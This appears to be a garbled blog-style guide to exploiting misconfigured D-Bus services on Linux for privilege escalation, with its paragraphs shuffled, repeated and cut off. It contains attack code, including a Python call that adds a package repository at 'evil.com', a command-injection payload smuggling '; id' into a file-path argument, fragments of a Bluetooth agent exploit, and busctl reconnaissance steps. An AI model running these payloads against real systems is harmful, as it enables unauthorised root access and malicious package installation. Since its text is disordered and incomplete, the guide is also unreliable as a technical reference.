Dbus-1.0 Exploit Guide
A typical vulnerable rule looks like this (simplified):
# Introspect the Bluetooth adapter introspection = await bus.introspect('org.bluez', '/org/bluez/hci0')
If the service does: sprintf(command, "rsync -av %s %s:/backup/", source_path, dest_host) An attacker sends: source_path = "/etc/shadow; id" (type STRING ) and dest_host = "localhost" .
# Send without any authentication reply = await bus.call(msg) dbus-1.0 exploit
We will use the dbus-next library for modern asyncio support.
The vendor copied policy files from an old BlueZ version that trusted user="root" only, but they ran the Bluetooth daemon as root and forgot to add <deny user="*"/> for sensitive methods. The RegisterAgent method does not check if the caller has the CAP_NET_ADMIN capability. Part 5: Persistence and Lateral Movement Once you have D-Bus method execution on a privileged service, persistence becomes elegant. The Systemd Trap Systemd exposes org.freedesktop.systemd1.Manager on the system bus. A successful exploit chain can call:
busctl introspect org.freedesktop.NetworkManager /org/freedesktop/NetworkManager More powerful is monitoring the bus in real-time: A typical vulnerable rule looks like this (simplified):
busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device.
Next time you land a low-privilege shell on a Linux machine, don’t run linpeas immediately. Instead, run busctl list and ask yourself: Which of these services trusts me more than it should? The answer might just be your golden ticket. Disclaimer: This article is for educational purposes only. Always obtain explicit permission before testing any system.
import dbus bus = dbus.SystemBus() proxy = bus.get_object('com.ubuntu.SoftwareProperties', '/com/ubuntu/SoftwareProperties') proxy.add_source('deb http://evil.com/deb ./', 'malicious', dbus_interface='com.ubuntu.SoftwareProperties') Modern D-Bus requires PolicyKit (polkit) for such actions, but many embedded devices disable this for performance. Vector 2: Argument Injection via Type Confusion D-Bus supports rich types: STRING , INT32 , ARRAY , DICT , and VARIANT . Historically, services that unsafely cast these to shell commands are vulnerable. The RegisterAgent method does not check if the
Yet, for all its ubiquity, D-Bus is a blind spot for many penetration testers and red teams. We scan for open SMB ports, we hunt for SUID binaries, but we rarely ask: Can we talk to the system bus?
busctl monitor --match "type='method_call',interface='org.freedesktop.DBus.Properties'" This captures any process trying to read properties of other services—a passive way to discover sensitive information flows. Let’s move from theory to actionable exploits. These are not CVEs but classes of vulnerability enabled by misconfiguration or legacy dbus-1.0 assumptions. Vector 1: The No-Authentication Backdoor (Legacy Services) Many early dbus-1.0 services assumed that being on the system bus implied trust. A classic example is com.ubuntu.SoftwareProperties . In older versions (pre-2020), it allowed any local user to enable or disable repositories, effectively granting the ability to install malicious packages after a social engineering reboot.
import asyncio from dbus_next.aio import MessageBus from dbus_next import Message, MessageType, Variant async def bluetooth_exploit(): # Connect to the system bus bus = await MessageBus(bus_type='system').connect()
<policy user="nobody"> <allow own="com.vulnerable.Service"/> <allow send_destination="com.vulnerable.Service"/> </policy> If the policy is too permissive (e.g., allow user="*" ), any unprivileged local user can interact with a root-owned service. Before writing exploits, you need reconnaissance. The standard tool is busctl (from systemd) or the older gdbus . Silent Reconnaissance As an unprivileged user, you can list all services on the system bus without any authentication: